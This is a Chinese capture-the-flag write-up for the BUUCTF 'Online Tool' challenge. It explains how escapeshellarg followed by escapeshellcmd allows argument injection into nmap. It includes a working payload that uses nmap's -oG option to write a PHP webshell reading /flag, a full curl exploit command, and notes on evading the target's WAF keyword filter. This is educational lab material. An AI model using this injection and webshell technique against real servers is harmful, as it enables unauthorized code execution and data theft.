[BUUCTF 2018]Online Tool题目解析

打开靶场，可以看到以下内容

这道题可以用burp做也可以直接在url地址上操作，我本来想用burp做的但是这台电脑上burp有问题，所以我就演示在url地址上的操作

首先说一下他的核心漏洞与利用

漏洞点：escapeshellarg + escapeshellcmd 组合不当

1. escapeshellarg()

   给整个字符串加单引号，同时把内部存在的单引号转义为 '\''。

   例如输入：172.17.0.2' -v -d a=1

   处理后变成：'172.17.0.2'\'' -v -d a=1'

2. escapeshellcmd()

   对整个命令字符串里的特殊字符（包括 \ 和未配对的单引号）前加 \ 进行转义。

   此时上一步的结果中，由于 escapeshellarg 额外插入的单引号，形成未配对状态，导致这些单引号被 escapeshellcmd 加上 \。

   最终变成：'172.17.0.2'\\'' -v -d a=1\'

当 Shell 解析时：

• \\ 被解释为一个普通的 \ 字符；

• 紧接着的单引号 ' 恢复了特殊含义，从而打破了原有参数的引号包裹；

• 后面的 -v -d a=1 便以独立参数的形式注入到 nmap 命令中。

一句话总结就是：escapeshellarg 和 escapeshellcmd 执行顺序错误，导致攻击者可以通过精心构造的单引号，把恶意参数"挤出"引号包裹，变成独立的命令选项。

解：

我一开始是想利用这个上传后门的，但会遇到下面的问题，我感觉利用后门不太好做

注意

对面的服务器的WAF过滤掉了很多敏感词，像**eval、$_POST 等敏感关键字**，都是被过滤掉了的，一旦检测到，那么对方的服务器会拒绝访问并且重置连接。

所以查了下资料换个思路，我们的payload直接写一个"访问即输出 Flag"的 PHP 文件。

最终payload构成

payload：

' <?=`cat /flag`;?> -oG f.php '

除此以外我们还要设置X-Forwarded-For，固定沙盒目录名，让我们能找到自己写入的Webshell。

X-Forwarded-For的地址随意。这是为了避免负载均衡可能引发的麻烦

我建议在cmd里面用curl命令执行，因为curl工具不存在浏览器兼容问题，而且能精确控制请求内容。

最终命令执行

curl -g -H "X-Forwarded-For: 1.1.1.1" "http://1386f0b0-558b-4ae6-b19e-744b95273737.node5.buuoj.cn:81/?host=%27%20%3C%3F%3D%60cat%20/flag%60%3B%3F%3E%20-oG%20f.php%20%27"

我们的payload一定要用url编码编好，不然浏览器解析不了

这里面的-g是（禁止 URL 通配符解析）

可以看到我们的payload执行成功，并且返回了沙盒目录名e6305cd14dbe6e1fc4041d81cb3fc9ee

这个沙盒目录名就是存放flag的地方

payload执行成功后我们就要可以访问f.php让其输出flag

最终得到flag

flag{d4ddcd42-6d16-4c5b-ab41-340461926412}